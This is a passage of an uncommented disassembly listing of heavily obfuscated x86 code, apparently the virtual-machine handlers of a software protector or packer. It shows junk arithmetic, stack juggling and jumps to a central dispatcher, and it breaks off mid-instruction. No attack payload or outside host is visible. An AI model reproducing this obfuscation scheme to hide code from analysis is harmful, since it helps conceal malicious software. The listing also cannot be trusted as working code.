; CODE XREF: sub_5941BD-250Bj pop edx dec ecx jmp loc_58C24A ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58CD63: ; CODE XREF: sub_594228+2BB1j sub esi, 5A3C1172h jb loc_58CF2E shl esi, 7 jmp loc_590CA1 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- sub ecx, 33E869A6h pop esi ; START OF FUNCTION CHUNK FOR sub_594228 loc_58CD7E: ; CODE XREF: sub_594228-458Cj jz loc_58E498 jmp loc_59805C ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58CD89: ; CODE XREF: sdfs____:00594057j ; sdfs____:005960F1j mov [esp], edx push ebx push 54E31CCh jmp loc_58DC7D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_595487 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58CDA6: ; CODE XREF: sub_5941BD-83AEj push [esp+18h+var_18] jmp loc_594710 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58CDAE: ; CODE XREF: sub_591370+4885j pop esi pop edx push ebx mov ebx, 3ED566B3h sub ebx, 19E61FC4h sub edi, ebx pop ebx jmp loc_58DB81 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58CDC4: ; CODE XREF: sub_59841F-5086j xchg edx, [esp-4+arg_0] pop esp idiv ecx push 1F74h mov [esp-4+arg_0], edx push eax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58CDD9: ; CODE XREF: sub_59214E+823j pop esp imul cx, ax push cx pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59214E ; =============== S U B R O U T I N E ======================================= sub_58CDE6 proc near ; CODE XREF: sub_594767-25CEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058C294 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D194 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058DF0B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DFF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058F2E6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005904DA SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00592241 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005922C4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059232D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00592FC8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593E59 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00594947 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00595B3D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005986B7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00598C57 SIZE 00000026 BYTES push ebx pop ebp pop ebx add ebp, 1ACA1165h add ebp, ebx jmp loc_59232D sub_58CDE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58CDF6: ; CODE XREF: sdfs____:0059419Aj add esp, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_58F65D ; --------------------------------------------------------------------------- loc_58CE0E: ; CODE XREF: sdfs____:00593D6Cj xor edi, 739ABABh xor eax, edi pop edi sub esp, 4 mov [esp], edx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push 7E072C30h mov eax, [esp] jmp loc_58EB56 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58CE4D: ; CODE XREF: sdfs____:0058DF98j shr edx, 6 or edx, 7CEC77C3h xor edx, 7CEC77E7h mov ebp, edx pop edx add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] sub eax, ebx push 45DCh mov [esp], ecx push edi push 640D135Ah pop edi add edi, 30BD0BFFh jnz loc_58E78F xor edi, 0C5E3BB8h mov al, ah mov ecx, esi loc_58CE8F: ; CODE XREF: sdfs____:00593274j jbe loc_593489 neg eax jns loc_591D9D add eax, 4F40EDB2h mov ebx, eax pop eax sub ebx, esi pop esi ; START OF FUNCTION CHUNK FOR sub_594228 loc_58CEA8: ; CODE XREF: sub_594228-3E7j mov esi, 4 add ebx, esi pop esi xchg ebx, [esp+1Ah+var_1C+2] pop esp jmp loc_58FB0B ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58CEB9: ; CODE XREF: sdfs____:00596925j add edx, 4 jmp loc_598226 ; --------------------------------------------------------------------------- loc_58CEC4: ; CODE XREF: sdfs____:0058F4ACj jz loc_590730 and ebp, 7FC95306h push eax push esi jmp loc_58C693 ; --------------------------------------------------------------------------- loc_58CED7: ; CODE XREF: sdfs____:00595ED8j pop esp mov [esp], edx jmp loc_58FF4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58CEE0: ; CODE XREF: sub_591435-99Dj mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx jmp loc_5955A4 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58CEF0: ; CODE XREF: sub_5941BD-79F2j mov edx, 0DC5E7723h xor esi, edx jmp loc_58F9EF ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58CEFC: ; CODE XREF: sdfs____:0058F824j pop esi mov edx, [esp] add esp, 4 jmp loc_591CB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58CF0B: ; CODE XREF: sub_591435+3505j mov ecx, [esp+4+var_4] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp add esp, 4 jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58CF26: ; CODE XREF: sdfs____:0058C2C9j sub esi, 1 jmp loc_5968C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58CF2E: ; CODE XREF: sub_594228-74BFj ; sdfs____:00598D21j shl esi, 7 jmp loc_59611E ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58CF36: ; CODE XREF: sdfs____:0058F2A2j sub ecx, 33E869A6h sub ecx, 6BE618EEh pop edx xchg ecx, [esp] pop esp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push eax mov eax, esp push esi mov esi, 59D87920h add esi, 0FFFFFFFFh push ebp push edi push 6D1D5AEBh pop edi add edi, 679039DBh sub edi, 89BB8226h jmp loc_590290 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_58CF81: ; CODE XREF: sub_58BAD7+A80Fj pop eax sub eax, 52E302AFh jmp loc_58DF2C ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58CF8C: ; CODE XREF: sub_59841F-2210j mov esi, [esp+4+var_4] add esp, 4 add ebp, 4 jmp loc_58E3BC ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58CF9D: ; CODE XREF: sdfs____:00596D13j push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_595872 ; --------------------------------------------------------------------------- loc_58CFB1: ; CODE XREF: sdfs____:005906E2j pop ebp pop dword ptr [esp] mov esp, [esp] add [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58CFC2: ; CODE XREF: sub_5987BC-60A3j shr ecx, 0Ah push esi push 5C8Eh mov [esp+0], ebx add dword ptr [esp+0], 73C17AD2h pop esi sub esi, 73C17AD2h mov eax, esi push [esp-4+arg_0] pop esi push edx mov edx, esp sub esp, 4 mov [esp+4+var_4], ecx push edi mov edi, 7AE2F40h mov ecx, 7AE2F44h xor ecx, edi pop edi jmp loc_591275 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- push 3455h mov [esp], edx jmp loc_5905FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_58D00E: ; CODE XREF: sub_59576E+10B5j mov edi, [esp-4+arg_0] add esp, 4 xor eax, 653A72ACh sub eax, 1BC5154Fh push ecx mov ecx, 542580Eh jmp loc_595062 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D029: ; CODE XREF: sub_591435+2C5Cj add edx, 5F76508Ah push eax mov eax, 0B0F1A99Fh add edx, eax pop eax add ecx, 516C0E4Eh jmp loc_590A13 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_58D043: ; CODE XREF: sub_58EB23-3066j mov eax, [esp-8+arg_0] add esp, 4 push ebp mov ebp, 2 add esi, ebp jmp loc_58CBC2 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- mov cx, [esp] push 6991h jmp loc_598B78 ; --------------------------------------------------------------------------- loc_58D064: ; CODE XREF: sdfs____:00598B9Fj push edi push dword ptr [esp+4] jmp loc_5971B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D06E: ; CODE XREF: sub_591435-123j jmp loc_58BB1D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58D073: ; CODE XREF: sdfs____:00596167j xor edx, [esp] pop esp jmp loc_58D86B ; --------------------------------------------------------------------------- loc_58D07C: ; CODE XREF: sdfs____:00596391j jmp loc_590869 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D081: ; CODE XREF: sub_591435+6EFEj sub ebx, edi mov edi, [esp+14h+var_14] add esp, 4 push edi mov edi, ebx push edx mov edx, edi mov esi, edx pop edx pop edi mov ebx, [esp+10h+var_10] jmp loc_594513 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58D09E: ; CODE XREF: sub_5941BD-779Cj xor edx, 4C573361h jmp loc_58D89F ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58D0A9: ; CODE XREF: sub_5917C0-1CC8j jp loc_597BB4 neg ebx jmp loc_595F67 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D0B6: ; CODE XREF: sub_591435+10A5j pop ecx pop ecx xchg edi, [esp+0Eh+var_10+2] mov esp, [esp+0Eh+var_10+2] push 466Eh jmp loc_58BBFF ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58D0C8: ; CODE XREF: sub_5BB696-25D50j sub edi, edx sub edi, 5F7463CDh jmp loc_591300 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D3F loc_58D0D5: ; CODE XREF: sub_592D3F+Ej add ecx, 273A63EFh shr ecx, 8 jmp sub_58D925 ; END OF FUNCTION CHUNK FOR sub_592D3F ; --------------------------------------------------------------------------- loc_58D0E3: ; CODE XREF: sdfs____:00596669j push esp pop esi jmp loc_596FDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58D0EA: ; CODE XREF: sub_5985AE-4953j push 451F15E5h pop edi push edi xchg ebx, [esp+0] not ebx xchg ebx, [esp+0] pop edi add edi, 451F15E7h push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp+0] pop esp mov [esp-4+arg_0], edi push edi push ebx mov ebx, 1F912E8Dh not ebx xor ebx, 0DA7CADAEh jmp loc_5943F7 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58D127: ; CODE XREF: sub_594228-382Ej push [esp+1Eh+var_20+2] mov edi, [esp+22h+var_24+2] add esp, 4 add esp, 4 add ebx, eax jmp loc_58EC59 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58D140: ; CODE XREF: sdfs____:0058FAA6j xor edi, 2E426FA8h add edi, 75A77B0h jmp loc_58E3E6 ; --------------------------------------------------------------------------- loc_58D151: ; CODE XREF: sdfs____:0058FCC6j mov ecx, 72463B6h not ecx jmp loc_58BB7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D15D: ; CODE XREF: sub_5917C0-3FD8j ; sdfs____:00590B84j ... mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp+4+var_4] pop esp jmp loc_58D43F ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58D16E: ; CODE XREF: sub_5987BC-C86Cj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], eax not [esp-4+arg_0] jmp loc_59689F ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E146 loc_58D188: ; CODE XREF: sub_58E146+2861j pop ebp add ebp, 4 jmp sub_592853 ; END OF FUNCTION CHUNK FOR sub_58E146 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_58D194: ; CODE XREF: sub_58CDE6+5463j dec edi jmp loc_594947 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_58D19A: ; CODE XREF: sdfs____:0058E707j sub ebx, 29567427h sub ebx, 14BF592Bh add eax, ebx pop ebx push edi mov edi, 2 sub esp, 4 mov [esp], edx mov edx, 28C53803h push edi jmp loc_592FF4 ; --------------------------------------------------------------------------- loc_58D1C0: ; CODE XREF: sdfs____:0058DE7Ej jnz loc_597332 jmp loc_591FCB ; --------------------------------------------------------------------------- sub ebx, 9F073A6Bh loc_58D1D1: ; CODE XREF: sdfs____:005968F3j xor edi, 309C407Fh xchg eax, edi xchg eax, edi jmp loc_58D904 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58D1DE: ; CODE XREF: sub_5917C0-2C3Fj mov eax, esp add eax, 4 jmp loc_58FDE4 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58D1EA: ; CODE XREF: sdfs____:0058FE8Fj pop ebp shr ebp, 8 jp loc_595EEB jmp loc_59502C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D1F9: ; CODE XREF: sub_591435+19Ej ; sdfs____:005952F1j add al, bl push ecx mov cl, 63h jmp loc_597A70 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE3C loc_58D203: ; CODE XREF: sub_58FE3C+2689j mov ecx, 15954C06h push edi mov edi, 669126B1h sub edi, 1030A60h xor edi, 7BCFEF92h add ecx, edi pop edi mov esi, ecx pop ecx sub ecx, esi pop esi mov edi, [esp-8+arg_4] add esp, 4 jmp loc_58BCC6 ; END OF FUNCTION CHUNK FOR sub_58FE3C ; --------------------------------------------------------------------------- loc_58D231: ; CODE XREF: sdfs____:00591A14j xor esi, 210A420Ch mov ebp, esi pop esi xor ebp, 71570841h jmp loc_58EEB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_597CE3 loc_58D245: ; CODE XREF: sub_597CE3+44j pop dword ptr [edi+24h] loc_58D248: ; CODE XREF: sub_5934D7+4BA7j push 0CF5h jmp loc_597812 ; END OF FUNCTION CHUNK FOR sub_597CE3 ; --------------------------------------------------------------------------- loc_58D252: ; CODE XREF: sdfs____:00594FFCj sub esp, 4 mov [esp], ebx mov eax, [esp] push esi mov esi, esp push 1848h mov [esp], ebx jmp loc_59475D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58D26E: ; CODE XREF: sub_5987BC-ADEj xor al, bh mov bx, word ptr [esp-4+arg_0] add esp, 2 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-4+arg_0] pop esp mov [esp-8+arg_4], edx sub esp, 4 mov [esp-4+arg_0], ebx sub esp, 4 mov [esp+0], ecx mov cl, 0C3h mov bl, 0C7h xor bl, cl jmp loc_58ECA6 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58D2AD: ; CODE XREF: sub_591370+171j add esp, 4 not esi inc esi push ecx jmp loc_58CA26 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58D2B9: ; CODE XREF: sdfs____:005916A0j mov [esp], ebp mov ebp, 78093DE4h jmp loc_58F03F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58D2C6: ; CODE XREF: sub_59587A+3243j pop ebp neg esi sub esi, 29694E46h push ebp mov ebp, 0E979B469h add esi, ebp pop ebp jmp loc_58B9CB ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_58D2DD: ; CODE XREF: sdfs____:00596537j mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_593506 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58D2F5: ; CODE XREF: sub_594228+2A4Bj inc ebx and ebx, 25C047D0h sub ebx, 0B5EBCF22h xor eax, ebx mov ebx, [esp+1Ah+var_1C+2] add esp, 4 jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58D312: ; CODE XREF: sdfs____:0058EF35j push ecx mov cl, 21h jmp loc_598882 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58D31A: ; CODE XREF: sub_594228-78FAj add edx, eax jmp loc_595318 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58D321: ; CODE XREF: sdfs____:00596D84j sub bl, 9Dh add bl, ah add bl, 9Dh jmp loc_58DB03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58D32E: ; CODE XREF: sub_5987BC-6D1Cj jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58D333: ; CODE XREF: sub_59214E-570Cj add edx, esi mov esi, [esp-4+arg_0] add esp, 4 push ebx mov ebx, 171A6C26h not ebx dec ebx xor ebx, 7A04348Bh inc ebx not ebx add ebx, 0AD72A978h add ecx, ebx pop ebx jmp loc_59295F ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_58D35B: ; CODE XREF: sub_58BAD7+66ACj jmp loc_590E23 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_58D360: ; CODE XREF: sub_592853-439j add ebx, 2AA76CFh sub ebx, 3F190A41h mov [ebx], edx pop ebx pop ecx jmp loc_5908AC ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58D375: ; CODE XREF: sub_59214E:loc_595C55j inc edx jp loc_592232 not edx inc edx jmp loc_58BC5C ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- push ecx pushf mov dh, 0FBh mov esi, ebp ; START OF FUNCTION CHUNK FOR sub_58EC13 loc_58D38A: ; CODE XREF: sub_58EC13+8B16j push edi mov edi, 57802E64h or edi, 5C7B4109h xor edi, 50E0090Bh push ecx mov ecx, 668C032Dh xor ecx, 670E26D1h and ecx, 0DE56B6Bh xchg ebp, ecx inc ebp xchg ebp, ecx sub ecx, 6BEE73F0h sub ecx, 0A4AD13E0h xor edi, ecx pop ecx mov esi, edi mov edi, [esp+4+var_4] push edi jmp loc_595B37 ; END OF FUNCTION CHUNK FOR sub_58EC13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_58D3CD: ; CODE XREF: sub_59576E+1j mov ebp, 0C4825A0h jmp loc_5969AB ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59666E loc_58D3D7: ; CODE XREF: sub_59666E-6F2Aj sub ebp, esi add ebp, 5FBA44B1h push [esp+8+var_8] mov esi, [esp+0Ch+var_C] jmp loc_5947EC ; END OF FUNCTION CHUNK FOR sub_59666E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58D3EA: ; CODE XREF: sub_5985AE-66AAj add [esp+arg_4], ebp push ecx mov ecx, 509E494Ah add [esp+4+arg_4], ecx pop ecx pop ebp jmp loc_59595F ; --------------------------------------------------------------------------- loc_58D3FF: ; CODE XREF: sub_5985AE-6D3Aj mov ecx, [esp-4+arg_0] add esp, 4 add ebx, 644B1A2Eh sub ebx, ecx push edx mov edx, 596A1A0Ch jmp loc_5935E5 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_58D418: ; CODE XREF: sdfs____:00590E1Ej pop ebp mov [ebx], al mov ebx, [esp] push ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp] pop esp jmp loc_594BE5 ; --------------------------------------------------------------------------- loc_58D439: ; CODE XREF: sdfs____:005927E5j pop eax jmp loc_596B64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D43F: ; CODE XREF: sub_591435-42CCj ; sdfs____:0059287Aj push eax mov eax, 4502F3Eh shl eax, 3 sub eax, 31400315h jmp loc_591E39 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58D452: ; CODE XREF: sub_594228+1A1Dj add ebp, 4D0CC23h jmp loc_58C373 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58D45D: ; CODE XREF: sdfs____:00597B1Cj add edi, 23DD538Dh add edi, ebx push ebx mov ebx, 6AEC028Eh add ebx, 188F3EC4h add ebx, 0A062123Bh sub edi, ebx pop ebx jmp loc_598B9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58D47F: ; CODE XREF: sub_594228-7EB3j pop ebp add ebx, 45D1232Fh shl ebx, 4 jmp loc_58F1FC ; --------------------------------------------------------------------------- loc_58D48E: ; CODE XREF: sub_594228-E1Ej neg esi push ebp mov ebp, 6280666Bh sub esi, ebp mov ebp, [esp+0] add esp, 4 jmp loc_5915F9 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58D4B3: ; CODE XREF: sdfs____:00593EF6j mov edi, ebp pop ebp pop ebx add eax, edi push dword ptr [esp] pop edi push eax mov eax, esp add eax, 4 jmp loc_591466 ; --------------------------------------------------------------------------- loc_58D4CA: ; CODE XREF: sdfs____:loc_58C6B5j ; sdfs____:00596833j pop edi jmp loc_58CBCB ; --------------------------------------------------------------------------- loc_58D4D0: ; CODE XREF: sdfs____:0059009Bj push 0D372C84h pop ebx sub ebx, 18D570C1h jmp loc_593C9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58D4E1: ; CODE XREF: sdfs____:0059116Bj ; sub_59841F-416Bj pop esp mov [esp-4+arg_0], ecx mov ecx, esp push edx jmp loc_59725B ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58D4ED: ; CODE XREF: sdfs____:00598239j mov al, bl mov ch, al mov eax, [esp] add esp, 4 push eax jmp loc_58EDE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D500: ; CODE XREF: sub_591435+486Fj add esp, 4 and eax, ebp push [esp+0Ch+var_C] pop ebp push edx jmp loc_58F173 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58D50F: ; CODE XREF: sdfs____:005971A7j pop ebx shl cl, 3 not cl sub cl, 0ECh push 20C5h mov [esp], edx mov dh, 0B3h shr dh, 5 add dh, 12h sub cl, dh pop edx sub al, cl pop ecx pop ecx sub esp, 2 jmp loc_590508 ; --------------------------------------------------------------------------- loc_58D53A: ; CODE XREF: sdfs____:loc_5901BEj push ebp mov ebp, 0E1A6CCCh dec ebp jnp loc_58E663 neg ebp jz loc_598A58 inc ebp jmp loc_590DB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58D555: ; CODE XREF: sub_594228+193Bj or esi, 5C7957C6h sub esi, 31791074h jmp loc_590846 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58D566: ; CODE XREF: sdfs____:00595998j add edx, 4 xchg edx, [esp] pop esp push small 44BEh mov [esp], bx mov bl, 0BAh xor al, bl mov bx, [esp] jmp loc_595896 ; --------------------------------------------------------------------------- loc_58D582: ; CODE XREF: sdfs____:005973E4j add esi, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_58CB52 ; --------------------------------------------------------------------------- push 264Ah mov [esp], ebp push 531F18ECh push dword ptr [esp] pop ebp add esp, 4 push edi jmp loc_5945E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_58D5B9: ; CODE XREF: sub_591AD9+329Cj not esi push eax jmp loc_5959A2 ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] push ebx jmp loc_58DF3F ; --------------------------------------------------------------------------- loc_58D5CA: ; CODE XREF: sdfs____:005974E2j xor edx, ebx jmp loc_596E6B ; --------------------------------------------------------------------------- loc_58D5D1: ; CODE XREF: sdfs____:0058C359j mov [esp], ecx push eax mov ah, dl push edx jmp loc_594986 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E146 loc_58D5DD: ; CODE XREF: sub_58E146+50DAj add [esp+8+var_8], 4 pop edx push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 xor edx, [esp+4+var_4] xor [esp+4+var_4], edx xor edx, [esp+4+var_4] mov esp, [esp+4+var_4] sub esp, 4 mov [esp+0], ebp sub esp, 4 push 1F63h jmp loc_59098B ; END OF FUNCTION CHUNK FOR sub_58E146 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58D610: ; CODE XREF: sub_591435+12CDj xor [esp+0Ch+var_C], edi mov ebp, [esp+0Ch+var_C] add esp, 4 xor eax, ebp xor ebp, eax jmp loc_5957EE ; --------------------------------------------------------------------------- loc_58D625: ; CODE XREF: sub_591435-2032j or esi, 1BB73311h jmp loc_5987F3 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58D630: ; CODE XREF: sub_5BB696-2F2A5j pop ecx xor ecx, 4E177480h jnz loc_5948DB not ecx neg ecx jnz loc_59553C pop ebp push dword ptr [edi+1Ch] popf pop eax sbb [esp+16h+var_16], eax pushf jmp loc_58F512 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_58D656: ; CODE XREF: sdfs____:0058C2F8j add al, 0D8h add al, 36h add al, 0A3h sub esp, 4 jmp loc_59811F ; --------------------------------------------------------------------------- loc_58D667: ; CODE XREF: sdfs____:00591E2Cj neg eax jmp loc_59693D ; --------------------------------------------------------------------------- loc_58D66E: ; CODE XREF: sdfs____:0059010Ej sub bl, 1 add dh, 92h sub dh, bl sub dh, 92h mov ebx, [esp] add esp, 4 sub al, dh jmp loc_58BCD7 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx jmp loc_593517 ; --------------------------------------------------------------------------- loc_58D693: ; CODE XREF: sdfs____:00590F74j mov ebx, [esp] add esp, 4 jmp loc_595B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58D69E: ; CODE XREF: sub_5941BD+252Fj add edx, 4 push ebx push ebp mov ebp, 4 mov ebx, ebp pop ebp sub edx, ebx pop ebx xchg edx, [esp+18h+var_18] pop esp jmp loc_593BC7 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58D6BA: ; CODE XREF: sdfs____:00593232j push ecx mov ch, 0C0h push ebx jmp loc_590517 ; --------------------------------------------------------------------------- loc_58D6C3: ; CODE XREF: sdfs____:00590DACj add eax, ecx pop ecx add eax, 